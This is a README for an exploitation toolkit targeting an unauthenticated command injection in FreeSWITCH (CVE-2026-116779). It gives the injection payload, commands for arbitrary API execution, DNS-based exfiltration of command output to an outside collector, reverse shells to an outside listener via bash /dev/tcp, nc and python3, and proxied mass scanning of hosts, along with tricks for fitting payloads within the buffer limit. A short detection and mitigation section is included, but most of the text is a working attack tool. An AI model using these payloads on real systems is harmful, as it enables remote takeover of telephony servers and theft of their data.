Detection and exploitation toolkit for the FreeSWITCH SIP MESSAGE command injection (CVE-2026-116779), with API execution, DNS OAST shell output, reverse shells, and host sweeping.
Detection and exploitation tooling for CVE-2026-116779 — an unauthenticated
command injection in FreeSWITCH where an inbound SIP MESSAGE can select the
api chat protocol and reach switch_api_execute().
CVE CVE-2026-116779 (GHSA-mg63-h38w-8p9p)
Type CWE-78 OS command injection
CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Affects FreeSWITCH < 1.11.3
Fixed 1.11.3 (enable-chat-api-proto gate, off by default, answers 403)
Use only against systems you own or are explicitly authorized to test.
sofia_presence_handle_sip_i_message() splits the To user of an inbound
MESSAGE on + and uses the left side as a chat protocol selector, with no
allow-list:
/* sofia_presence.c:4869-4877 */
if ((p = strchr(to_user, '+')) && p != to_user) {
switch_copy_string(proto, to_user, sizeof(proto)); /* char proto[512] */
p = strchr(proto, '+');
*p++ = '\0'; /* proto = "api" */
...
}
/* sofia_presence.c:5013 */
switch_core_chat_send(proto, event);
mod_dptools registers an api chat interface that URL-decodes the remainder
and hands it to the FreeSWITCH API dispatcher:
/* mod_dptools.c:6486 */
SWITCH_ADD_CHAT(chat_interface, "api", api_chat_send);
/* mod_dptools.c:4700-4707 */
switch_url_decode(cmd);
if ((arg = strchr(cmd, ' '))) *arg++ = '\0';
switch_api_execute(cmd, arg, NULL, &stream);
So this single message runs system id as the daemon:
To: <sip:api+system%20id@target>
git clone https://github.com/hackzuoji/freeswitch-cve-2026-116779-POC.git
cd fscve
pip install -e . # or: pip install -e ".[dev]"
No third-party runtime dependencies — standard library only.
fscve detect -t 10.0.0.5 # default 5060/tcp
fscve detect -t 10.0.0.5:5080 --udp
fscve detect -t 10.0.0.5 --user 1000 --password 1234
fscve detect -t 10.0.0.5 --json
| Verdict | Meaning |
|---|---|
ACCEPTED | api proto reachable (2xx) — prove execution with shell |
PATCHED | 403, the 1.11.3 gate is present |
AUTH-REQ | digest challenge, supply --user/--password |
UNREACHABLE | no SIP answer |
fscve api -t 10.0.0.5 "status"
fscve api -t 10.0.0.5 --user 1000 --password 1234 "sofia status profile internal"
# dnslog.cn collector (creates a session automatically)
fscve shell -t 10.0.0.5 --user 1000 --password 1234 "id"
# your own OAST zone
fscve shell -t 10.0.0.5 --zone abc123.your-oast.example "hostname; id"
Output travels back inside a DNS label, hex-encoded:
( <cmd> ; echo " rc=$?" ) </dev/null 2>&1 | od -An -tx1 | tr -d ' \n'
-> <hex>.<tag>.<zone>
fscve rev -t 10.0.0.5 --user 1000 --password 1234 203.0.113.9:4444
# listener: nc -lvnp 4444
Three engines (bash /dev/tcp, nc, python3) are fired as separate
messages, because one command cannot exceed the To-user budget.
fscve sweep -f hosts.txt --workers 16 --out results.jsonl
fscve sweep -f hosts.txt --proxy socks5://user:[email protected]:1080
Four constraints, each verified on a live 1.10.x box:
+ is hostile. mod_sofia rewrites the first surviving + in the To
user into @, so the command must encode it as %2B. Spaces must be
%20 — switch_url_decode() never treats + as a space.char proto[512]. The To user is copied into a 512-byte buffer and
silently truncated, so the whole encoded command must stay under ~500
bytes (MAX_TO_USER). Long jobs need a download-then-run two-step.echo a; echo b | od drops a. The
command and the exit-code echo must be wrapped in a subshell before the
pipe: ( cmd ; echo " rc=$?" ) | od ....head -c 28 in examples.Also worth knowing: switch_core_chat_send() enqueues the message
(CHAT_MAX_MSG_QUEUE=101, worker threads grow on demand) and sofia answers
202 immediately. A 2xx therefore proves nothing about execution — only an
out-of-band callback does. Timing tricks (injecting sleep and measuring the
next reply) do not work.
fscve detect returns PATCHED (403) on 1.11.3+.Profile [name] rejected a MESSAGE from ... addressed to the 'api' chat proto [...]enable-chat-api-proto must stay absent/false;
disable-auth-messages must not be set.1000–1019 / 1234).<param name="enable-chat" value="false"/> if inbound chat is unused.nuclei/CVE-2026-116779.yaml covers the anonymous case (profiles with
disable-auth-messages). Digest challenge cannot be answered inside a
stateless template — use fscve for authenticated confirmation.
python -m pytest # or: python -m unittest discover -s tests -t .
The suite runs entirely offline against tests/mock_freeswitch.py, which
implements the 401 challenge, the digest check and the api+ sink.
MIT — see LICENSE.